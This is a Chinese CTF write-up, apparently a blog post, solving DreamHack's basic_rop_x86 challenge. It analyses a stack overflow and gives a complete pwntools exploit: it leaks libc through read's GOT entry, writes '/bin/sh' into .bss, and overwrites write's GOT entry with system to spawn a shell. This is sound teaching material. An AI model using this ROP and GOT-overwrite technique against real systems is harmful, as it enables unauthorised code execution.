【How2Pwn】DreamHack x86下的ROP问题

0x00 源代码

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

原题链接

0x01 代码状态

源代码与之前介绍的x64下的ROP问题相同,所以开启的保护机制也相同。

$ checksec ./basic_rop_x86
[*] '/home/ni/workspace/dreamhack/ASLR_NX/rop/basic_rop_x86'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

x86架构和x64架构对于函数在栈中调用最大的差别就是,x86架构下函数参数直接放入栈帧,而x64架构先存入寄存器,当寄存器数量不够时才会传入栈帧,所以一会在编写payload的时候也要遵守这个规则。

0x02 分析

什么是 GOT verwrite

上一次题目中我们利用已有函数,计算出system函数的位置,直接运行system得到shell。这一次用其他办法解一次题目。在查看代码状态时,看到程序开启了Partial RELRO,说明函数是在调用时先搜索其绝对地址,再将搜索到地址存入 got 表中(Lazy binding),下次调用函数的时候直接根据 got 表中的地址调用函数,但是程序并不会检查 got 表是否被改写过。Partial RELRO 下程序给予 got 表可写权限,也就是说我们可以利用 GOT 表的可写权限,进行一次 GOT overwrite 攻击(即,通过改写 got 表,将一个函数的地址修改成另一个函数)。

0x03 设计payload

1. Buffer Overflow

通过gdb分析需要多少字符达到ret。gdb分析之后可以看出需要44(buf)+4(sfp)个字符达到ret。

pwndbg> disass main
Dump of assembler code for function main:
   0x080485d9 <+0>:	push   ebp
   0x080485da <+1>:	mov    ebp,esp
   0x080485dc <+3>:	push   edi
=> 0x080485dd <+4>:	sub    esp,0x40
   0x080485e0 <+7>:	lea    edx,[ebp-0x44]  <---在这里
   0x080485e3 <+10>:	mov    eax,0x0
   0x080485e8 <+15>:	mov    ecx,0x10
   0x080485ed <+20>:	mov    edi,edx
   0x080485ef <+22>:	rep stos DWORD PTR es:[edi],eax
   0x080485f1 <+24>:	call   0x8048592 <initialize>

既然要构造 GOT 链,当然也需要相应的 gadget, 用 ROPgadget 进行查找。

$ ROPgadget --binary ./basic_rop_x86 --re "ret"
Gadgets information
============================================================
0x080487cd : adc al, 0x41 ; ret
0x080484e7 : adc cl, cl ; ret
......
0x0804868b : pop ebp ; ret
0x08048688 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080483d9 : pop ebx ; ret
0x0804868a : pop edi ; pop ebp ; ret
0x08048689 : pop esi ; pop edi ; pop ebp ; ret   <---- 选择这个gadget
......

2. 计算system函数位置,找到/bin/sh字符

想要计算 system 函数地址,需要通过read在got表中的绝对地址和 libc.so.6 (题目提供)库中的 read 地址相减,计算出库在程序中整体的偏移量。后面就可以利用这个偏移量计算出现在system函数的地址。read_got 可以用程序中本来就出现过的 write 函数来输出。

3. 修改write函数在GOT表的地址

计算出 system 函数具体的位置之后,选择一个函数的 got 表其地址,使其实际指向 system 函数。这里可以选择 write 函数,在修改其在 got 表中的地址之后,下次利用 write_plt 进行函数调用的时候,将会调用 system 函数。这样通过 write(“/bin/sh”) 指令就可以取得shell。

在 gdb 中利用 info func 指令找一下我们可以利用的函数有哪些。

pwndbg> info func
All defined functions:

Non-debugging symbols:
0x080483b8  _init
0x080483f0  read@plt        <---- 用于输入与改写
0x08048400  signal@plt
0x08048410  alarm@plt
0x08048420  puts@plt
0x08048430  exit@plt
0x08048440  __libc_start_main@plt
0x08048450  write@plt       <---- 用于输出和最后被改写
0x08048460  setvbuf@plt
0x08048470  __gmon_start__@plt
0x08048480  _start
0x080484b0  __x86.get_pc_thunk.bx
0x080484c0  deregister_tm_clones
0x080484f0  register_tm_clones
0x08048530  __do_global_dtors_aux
0x08048550  frame_dummy
0x0804857b  alarm_handler
0x08048592  initialize
0x080485d9  main
0x08048630  __libc_csu_init
0x08048690  __libc_csu_fini
0x08048694  _fini

0x04 编写payload

1. Overflow 与输出 read_got

先进行一次 overflow,然后利用刚刚找的gadget和各种函数地址开始构造我们的 payload。溢出后用 write 函数输出 read_got。

from pwn import*
def slog(n,m): return success(":".join([n,hex(m)]))

#p = remote("host3.dreamhack.games", 17801)
p = process("./basic_rop_x86")
e = ELF("./basic_rop_x86")
libc = ELF("./libc.so.6")

read_got = e.got["read"]
read_plt = e.plt["read"]
write_plt = e.plt["write"]
write_got = e.got["write"]

binsh = e.bss()

pppr = 0x08048689  #<--- 刚刚的gadget

# buffer padding
payload = b'A'*0x48
#[1]write(1, read_got, 0x4)
payload += p32(write_plt) + p32(pppr)
payload += p32(1) + p32(read_got) + p32(4)

2. 计算 system 函数地址,输入 /bin/sh 字符

通过计算出read函数在程序中地址和库中地址的差值,可以获得system函数在程序中相应的位置。

from pwn import*
def slog(n,m): return success(":".join([n,hex(m)]))

#p = remote("host3.dreamhack.games", 17801)
p = process("./basic_rop_x86")
e = ELF("./basic_rop_x86")
libc = ELF("./libc.so.6")

read_got = e.got["read"]
read_plt = e.plt["read"]
write_plt = e.plt["write"]
write_got = e.got["write"]

binsh = e.bss()    # <----初始化binsh

pppr = 0x08048689  # <--- 刚刚的gadget

# buffer padding
payload = b'A'*0x48
#[1]write(1, read_got, 0x4)
payload += p32(write_plt) + p32(pppr)
payload += p32(1) + p32(read_got) + p32(4)

#[2]read(0, binsh, 8)  <--- 既然调用了read函数,我们一会要输入一个值。(这里标号为1,方便理解)
payload += p32(read_plt) + p32(pppr)
payload += p32(0) + p32(binsh) + p32(8)

##leak base
p.send(payload)  # <--- 发送这段payload
p.recvuntil(b'A'*0x40)
read = u32(p.recvn(4))
lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"]

slog("read", read)
slog("Base", lb)
slog("system", system)

##read <-- "/bin/sh\x00"  <--- 向 1 中的发送 /bin/sh 字符,binsh = '/bin/sh'
p.send(b'/bin/sh\x00')

3. 修改write函数的 got 表

#[3]read(0, write_got, 0x4)    <--- 修改write_got的值,使其指向system函数(标号2)
payload += p32(read_plt) + p32(pppr)
payload += p32(0) + p32(write_got) + p32(4)

#[4]write("binsh")             <---  write的地址已经被改为system函数
payload += p32(write_plt)
payload += p32(0)
payload += p32(binsh)

## read <-- "system"           <--- 向标号2中输入求出的system函数地址
p.sendline(p32(system))

0x05 完整Exploit

Exploit

from pwn import*
def slog(n,m): return success(":".join([n,hex(m)]))

#p = remote("host3.dreamhack.games", 17801)
p = process("./basic_rop_x86")
e = ELF("./basic_rop_x86")
libc = ELF("./libc.so.6")

read_got = e.got["read"]
read_plt = e.plt["read"]
write_plt = e.plt["write"]
write_got = e.got["write"]

binsh = e.bss()

pppr = 0x08048689

# buffer padding
payload = b'A'*0x48
#[1]write(1, read_got, 0x4)
payload += p32(write_plt) + p32(pppr)
payload += p32(1) + p32(read_got) + p32(4)

#[2]read(0, binsh, 8)
payload += p32(read_plt) + p32(pppr)
payload += p32(0) + p32(binsh) + p32(8)

#[3]read(0, write_got, 0x4)
payload += p32(read_plt) + p32(pppr)
payload += p32(0) + p32(write_got) + p32(4)

#[4]write("binsh")
payload += p32(write_plt)
payload += p32(0)
payload += p32(binsh)

##leak base
p.send(payload)
p.recvuntil(b'A'*0x40)
read = u32(p.recvn(4))
lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"]

slog("read", read)
slog("Base", lb)
slog("system", system)

##read <-- "/bin/sh\x00"
p.send(b'/bin/sh\x00')

## read <-- "system"
p.sendline(p32(system))

p.interactive()

如果有不到位或者错误的地方请直接私信或者评论

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值